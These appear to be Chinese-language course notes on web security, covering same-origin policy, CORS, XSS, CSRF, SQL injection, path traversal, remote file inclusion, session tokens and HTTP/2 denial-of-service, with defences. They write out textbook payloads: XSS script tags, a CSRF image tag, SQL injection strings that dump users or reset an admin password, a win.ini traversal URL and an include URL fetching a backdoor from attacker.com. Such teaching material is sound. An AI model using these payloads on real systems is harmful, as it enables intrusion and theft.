网络安全课程笔记九:Web Security

Network Security Lecture 9: Web Security

9.1 AJAX

AJAX 即 “Asynchronous JavaScript and XML”(异步的 JavaScript 与 XML 技术),指的是一套综合了多项技术的浏览器端网页开发技术。

AJAX 允许一个 Web 应用程序在后台向服务器发送或者接收数据,而不涉及现有页面的显示。

9.2 Document Object Model

文档对象模型(Document Object Model,缩写 DOM),是一种处理可扩展置标语言(HTML,XML)的标准编程接口。它定义了文档的逻辑结构,和文档的读写方式。

例如:

<html>
<body>
<p>Hello World</p>
<div><img src="example.png"/></div>
</body>
</html>

9.3 Same-origin Policy (SOP)

同来源原则用来将浏览器中不同来源的内容进行隔离,防止恶意站点访问、修改其他合法站点的 DOM。

判断 Same Origin 的规则:

  1. 模式:必须要使用同一种模式(如 HTTP,HTTPS)
  2. 主机名:主机名必须相同
  3. 端口号:端口号必须一致

要注意的是,请求仍然可以发送给不同的来源(网站 A 中可以嵌入来自网站 B 的图片等等),但是其回复无法读取。

9.3.1 示例

Same Origin:

http://example.com/
http://example.com:80/
http://example.com/path/file

Different Origin:

http://example.com/
http://example.com:8080/
http://www.example.com/
https://example.com:80/
https://example.com/
http://example.org/
http://ietf.org/

9.3.2 SOP 的一些问题

如果同一个域名下两个子域名不同的网站(site1.example.comsite2.example.com)想要访问另一方的 DOM,根据 SOP,这是不允许的,那么应该如何完成?

网站可以将 document.domain 参数设置为其根域名。比如 site1.example.com 可以设置该参数为 example.comsite2.example.com 也设置该参数为 example.com,两个子域名则可以访问对方的 DOM。

9.3.3 跨来源资源共享

跨来源资源共享(CORS),亦译为跨域资源共享,是一份浏览器技术的规范。服务器可以通过一个 HTTP Header 来告知浏览器某个跨站请求应该被允许还是拒绝。

例子:

  1. 来自 http://www.example.com 的一个页面想要访问 www.data.com 的数据
  2. 浏览器向 www.data.com 发送一个 HTTP 请求,头部包含 Origin: http://www.example.com
  3. 如果允许,服务器将会回复一个包含 Access-Control-Allow-Origin: http://www.example.com 的头部

潜在的危险:错误的服务器配置(Access-Control-Allow-Origin: *

9.3.4 Sandbox

沙盒(sandbox,又译为沙箱)是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

在浏览器中,沙箱能将操作系统给予浏览器的权限在浏览器中运行的子进程的权限隔离开来。

9.4 Cross Site Scripting (XSS)

跨站脚本(Cross-site scripting,XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。

9.4.1 Reflected XSS

基于反射的 XSS 攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起 Web 攻击。

攻击原理:

  1. 用户正常登陆应用程序,并获得了一个 Cookie
  2. 攻击者制造一个包含 JS 脚本的请求,引诱用户点击
  3. 用户点击了这个链接、向服务器发起请求
  4. 由于服务器存在 XSS 漏洞,服务器的返回会包含这段恶意 JS 代码
  5. 用户的浏览器执行这段代码
  6. 一些敏感信息(Cookie)被发送给攻击者。

发现和预防:

  1. 列出网页中所有用户输入的入口点
  2. 对于每个输入点,输入一串字符串,然后请求服务器
  3. 在服务器的回复中标记处所有出现这个字符串的位置(称为 reflection)
  4. 对于每个 reflection,分析其上下文语法
  5. 构造一个字符串并提交,试图将一个脚本插入服务器的回复中

9.4.2 Stored XSS

基于存储的 XSS 攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。

例子:

  1. 发一篇文章,里面包含了恶意脚本:
A nice day!
<script>alert('XSS')</script>
  1. 后端没有对文章进行过滤,直接保存文章内容到数据库。
  2. 当其他看这篇文章的时候,包含的恶意脚本就会执行。

9.4.3 DOM-based XSS

基于 DOM 的 XSS 攻击。恶意代码并没有嵌入在返回的网页中,而是在浏览器执行网页中的 JS 脚本,将 URL 中的参数(即恶意代码)写入 DOM 时触发的。

攻击原理:

  1. 用户正常登陆应用程序,并获得了一个 Cookie
  2. 攻击者制造一个包含恶意脚本的请求,引诱用户点击:
http://example.com/index.html?message=<script>alert('XSS')</script>
  1. 用户点击了这个链接、向服务器发起请求
  2. 服务器的返回中包含以下内容:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url.length);
document.write(message);
</script>

注意服务器并没有直接包含这段恶意代码(而在 Reflected XSS 和 Stored XSS 中,恶意代码是嵌入在服务器的返回中的)

  1. 用户请求的 URL 被上面这段 JavaScript 处理(在用户浏览器中执行)后,message 参数被直接写入了网页的 HTML 代码中,从而触发了恶意代码的执行
  2. 一些敏感信息(Cookie)被发送给攻击者。

9.5 CSRF

跨站请求伪造(Cross-site request forgery),通常缩写为 CSRF,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

9.5.1 CSRF 例子

  1. 假如一家银行用以运行转账操作的 URL 地址如下:
http://bank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
  1. 一个恶意攻击者在另一个网站上放置如下代码:
<img src="http://bank.com/withdraw?account=Alice&amount=1000&for=Badman">
  1. 账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 资金。

透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。

9.5.2 CSRF 防御:添加校验 token

由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中、且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行 CSRF 攻击。

这种数据通常是窗体中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪随机数。当客户端填写表单提交请求时,这个伪随机数也一并提交上去以供校验。

正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验 token 的值为空或者错误,拒绝请求。

9.6 SQL Injection

三层架构(3-tier architecture) 通常意义上的三层架构就是将整个业务应用划分为:界面层(User Interface layer)、业务逻辑层(Business Logic Layer)、数据访问层(Data access layer)。

SQL 指结构化查询语言,全称是 Structured Query Language。为了与 ANSI 标准相兼容,它们必须以相似的方式共同地来支持一些主要的命令(比如 SELECT、UPDATE、DELETE、INSERT 等等)。

SQL 注入有两种方法:

  • 直接将恶意代码写入参数之中,被串联起来当做 SQL 指令执行
  • 将恶意代码写入字符串、存储在数据库的表中,后来被串联成动态的 SQL 指令执行

9.6.1 利用 SELECT 指令

比如对于以下的 SQL 语句:

SELECT User FROM Users WHERE Username = '$username' AND Password = '$password'

$username = "abc' OR 1=1; --"$password 为空,最后串联得到的 SQL 语句如下:

SELECT User FROM Users WHERE Username = 'abc' OR 1=1; --AND Password = ''

-- 在 SQL 中表示注释。

9.6.2 利用 UNION 操作符

比如对于以下的 SQL 语句:

SELECT author,title,year FROM books WHERE publisher = '$publisher'

$publisher = "abc' UNION SELECT * FROM users--",最后串联得到的 SQL 语句如下:

SELECT author,title,year FROM books WHERE publisher = 'abc'
UNION SELECT username,password,uid FROM users--

结果就是 user 数据表中的所有内容也被调取出来。

9.6.3 利用 INSERT 指令

比如对于以下的 SQL 语句:

INSERT INTO users (username, password, ID, privilege) VALUES
('$username', '$password', $id, $priv)

$username = "foo', 'bar', 9999, 0)--",其他均为空,最后串联得到的 SQL 语句如下:

INSERT INTO users (username, password, ID, privilege) VALUES
('foo', 'bar', 9999, 0)--', '', 2248, 1)

可以看到,用户的 ID 和 Privilege 都被非法自行修改了。

9.6.4 利用 UPDATE 指令

比如对于以下的 SQL 语句:

UPDATE users SET password = '$newpass'
WHERE user = '$user' and password = '$password'

$user = "admin' --",其他均为空,最后串联得到的 SQL 语句如下:

UPDATE users SET password = '$newpass'
WHERE user = 'admin' --' and password = '$password'

可以看到,攻击者成功绕过了现有密码的验证,直接修改了账户密码。

9.6.5 防止 SQL 注入

参数化查询:参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值。

参数化查询步骤:

  1. 应用程序定义查询语句的结构,把所有的参数先用一个占位符表示
  2. 最后给每个占位符赋值进行查询

9.7 Path Traversal

目录遍历是针对 Windows IIS 和 Apache 的一种常见攻击方法,它可能让攻击者访问受限制的目录,通过执行 cmd.exe /c 命令来提取目录信息,或者在 Web 服务器的根目录以外执行命令。

例如对于某 URL:

http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg

攻击者可以使用 ../ 之类的目录跳转符,通过提交目录跳转来遍历服务器上的任意文件:

http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini

9.8 File Inclusion

很多语言支持包含某文件(Include files),PHP 甚至支持包含一个远程文件。

例如对于这样的 PHP 代码:

$country = $_GET['Country'];
include($country . '.php');

攻击者则可以指定一个外部的 URL:

http://example.com/main.php?Country=http://attacker.com/backdoor

9.9 Session Management Attacks

由于 HTTP 协议基于一个简单的请求-回复模型,因此其是无状态的。不过 Web 服务器可以通过 Session 来将某个用户的一系列请求关联起来,并和其他用户的请求区别开来。一种常见的实现 Session 的方式就是给每一个用户分配一个独一无二的 token,并将其放入 Cookie 中。

因此 token 的生成可能存在漏洞:

  • 有意义的 token:有的应用程序将用户的用户名、email 地址等信息用来生成 token,攻击者则可以猜测这种意义(即关联关系)从而猜到用户的 token。

  • 可预测的 token:有的应用程序使用一个简单的递增序列号作为 token;有的程序则使用某种算法来生成 token,并使用时间来作为算法的输入(srand(time(NULL)))。

token 的处理过程中也可能存在漏洞:

  • 在网络中暴露用户 token:有的应用程序仅仅在登录阶段使用 HTTPS 来保护用户的凭据,之后所有的请求全部使用 HTTP,导致了用户 token 的暴露。

  • 在日志中暴露用户 token:用户的浏览器的日志、服务器的日志、ISP 的代理服务器等都可以将用户的 token 写入日志中。

9.10 HTTP 2.0 Attack

维基百科关于 HTTP 2.0 的介绍:https://zh.wikipedia.org/wiki/HTTP/2

HTTP 2.0 的四个主要漏洞:https://www.imperva.com/docs/Imperva_HII_HTTP2.pdf

9.10.1 Slow Read Attack

恶意客户端向服务器请求一个很大的资源(可能数 GB 大小),并将初始的 WINDOW_SIZE 设置成一个很小的值。告诉服务器在这个 Stream 上能传输的数据包数量很小。之后,客户端再慢慢扩大窗口大小,每次扩大几个 bytes,使得服务器一直需要给这个 Stream 分配资源,在传送完文件之后才能释放。

研究人员实测只需要十几个这样的 Stream 就可以将服务器的内存耗尽,使其不能再接受其他用户的合法连接。

9.10.2 HPACK Bomb

由于 HTTP 2.0 采用头部压缩方法来减少每次传输的数据包包头大小(传输时使用 gzip 压缩,收到后将头部信息存储在内存中供后续使用,避免在每个数据包中重复传输),恶意客户端可以发送一个相对较小的数据,但是解压之后占用大量的内存。